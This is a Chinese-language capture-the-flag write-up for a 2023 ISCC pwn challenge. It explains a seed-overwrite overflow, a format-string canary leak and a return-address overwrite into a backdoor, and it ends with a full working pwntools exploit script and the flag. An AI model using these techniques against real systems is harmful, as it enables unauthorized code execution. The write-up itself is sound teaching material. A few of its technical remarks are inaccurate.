这是一道2023ISCC比赛里的题,我个人感觉这题出的是非常好的,涉及到了栈溢出覆写、字符串格式化漏洞、绕过栈溢出保护
题目链接:https://pan.baidu.com/s/1sLlqntYbTXbgBM2wmxTDzQ?pwd=8e6h
提取码:8e6h
首先先看题目提示
成功许下三个愿望,就可能找到你想要的答案
下载文件
虚拟机里checksec一下
是六十四位程序,开了堆栈保护,没开PIE
这里解释一下里面的各个参数
放到64位ida里
看到左边有后门函数
记下system调用函数的地址
按ctrl+x交叉引用
得到system函数地址0x4011F5
再看看主函数
进入到主函数里的begingame函数里
主函数逻辑为:
先读取s,然后随机化一个种子,v4是一个随机生成的数,v2是我们输入的,如果v4等于v2,我们才能进入第二个wish
读取的s是0x16的,再看看s的地址空间
先不考虑栈溢出保护,如果s要实现栈溢出,那么s就需要0x16+8的位数,大于0x16,所以s不能实现栈溢出,但是seed是0x8的地址
所以第一步很明确了,通过s覆盖种子seed,使生成的随机数可控,进而使v4=v2,进而进入secondwish函数
第一步:通过s覆写种子seed
构造payload=b'a'*(0x16-0x8)+p64(1)
b'a'*(0x16-0x8)是为了填充数据
p64(1)是为了使种子seed变为1
那我们输入的v2得是多少才能和v4相等呢?
这里就要用到第二个文件libc.so.6了
这里解释一下libc.so.6是什么
libc.so.6是一个动态函数库,而动态链接库中主要包括了一些函数的具体实现过程以供其他程序直接调用。
这里推荐一篇知乎大佬的博客CTFer成长日记10:动态链接的基本过程与ret2libc - 知乎
总而言之,我们可以通过调用libc.so.6,并且控制种子的数值大小,也生成一个随机数v2,使之与v4相等
from ctypes import *
libc=cdll.LoadLibrary("./libc.so.6")
libc.srand(1) #这就是我们前面覆写的种子seed=1
number = str(libc.rand() % 9 + 1) #number也就是我们要发送的v2了
print(number)
这里我们可以测试一下,把上面的脚本写入虚拟机
运行
发现运行多次得到的都是一样的
这是因为我们控制了种子
到这里,第一步就完成了
接下来由于v3刚开始是0,所以就要进入secondwish函数了
看看secondwish里面是什么
一个很明显的字符串格式化漏洞printf
不知道字符串格式化漏洞的可以去看看知乎大佬写的这一篇文章
CTFer成长日记11:格式化字符串漏洞的原理与利用 - 知乎
这里我们看到最开始定义了一个v2,但却一直没有使用,并且v2的地址是rbp-8h,基本可以确定v2就是canary了
以防万一,我们对照地址空间看一下
可以看到,函数最开始吧fs:28h放到了rax里
最后又把rbp+var_8放入了rcx,这里的rbp+var_8就是上面的v2,然后又与fs:28h比较了一下,相等则返回,不相等则调用_stack_chk_fail函数
所以v2就是canary
所以可以明确第二步了
第二步:通过字符串格式化漏洞输出canary
看一下s的地址空间
0x30开始
canary在0x8的地址
所以s距离canary的距离为0x30-0x8=0x28=40
64位程序一个参数占8个字节,所以40/8=5,所以canary是栈上的第五个参数
并且64 位程序的前 6 个参数存放在寄存器 RDI
、RSI
、RDX
、RCX
、R8
、R9
内,当超过 6 个参数才存入栈中
所以canary在第5+6=11个参数的位置,我们可以用printf("%11$p")的方式得到canary
具体脚本如下
io.recvuntil('0x')
canary=io.recv(16).decode()
canary=int(canary, 16)
解释一下
首先canary所生成的随机数有一个非常重要的特点:随机数的第一个字节必然是0x00 。
所以我们不要0x,而要0x后面的数,这就是为什么recvuntil(‘0x’)
同时64位程序的canary的字节数为8个字节,32位的canary的字节数为8个字节
decode() 方法用于将 bytes 类型的二进制数据转换为 str 类型
最后得到了canary
接下来进入thirdwish函数
此时输入的s为0x40
但s到ebp的地址空间为0x30,所以此时就可以利用s实现栈溢出,跳转到后门函数
但是还有个栈溢出保护canary
所以第三步也就明确了
第三步:绕过栈溢出保护canary,跳转到后门函数
canary也就是var_8的地址为0x8,s到canary的距离为0x30-0x8=40
system函数地址0x4011F5
最后又db 8 定义了四个字节,ret地址为0x8,所以还得再补充8个字节
所以payload2 = b'a'*40 + p64(canary)+b'b'*8+p64(0x4011F5)
到这里就实现了攻击
总脚本如下
from pwn import *
from ctypes import * # 导入ctypes库使Python可以执行C语言的函数
context.log_level='debug'
libc=cdll.LoadLibrary("./libc.so.6")
libc.srand(1)
io = remote("10.15.7.203", 8022)
payload = b'a' * (0x16 - 0x08) + p64(1)
io.recvuntil("Now you can make your first wish\n")
io.sendline(payload) # 设置伪随机数种子为1
io.recvuntil("Please give me a number!\n")
io.sendline(str(libc.rand()%9+1)) # 绕过伪随机数校验
io.recvuntil("Now you can make your second wish!\n")
io.sendline("%11$p") # 格式化字符串漏洞泄露canary(栈上第11个值)
io.recvuntil('0x') # 接收canary的值
canary=io.recv(16).decode()
canary=int(canary, 16)
io.recvuntil("Please give me a number!\n")
io.sendline(str(libc.rand()%9+1)) # 绕过伪随机数校验
io.recvuntil("Now you can make your final wish!\n")
payload = b'a' * (0x30 - 0x8) + p64(canary) + b'b' * 0x8 + p64(0x4011F5)
io.sendline(payload)
io.interactive()
实现结果如图
得到ISCC{45ebc2ed-92c7-47e3-9b64-f9b5dc86397d}
总结
这道题涉及到了三个方面,栈溢出覆写、格式化字符串漏洞输出、绕过canary,并且三步循序渐进,富有逻辑感,是一道很不错的pwn题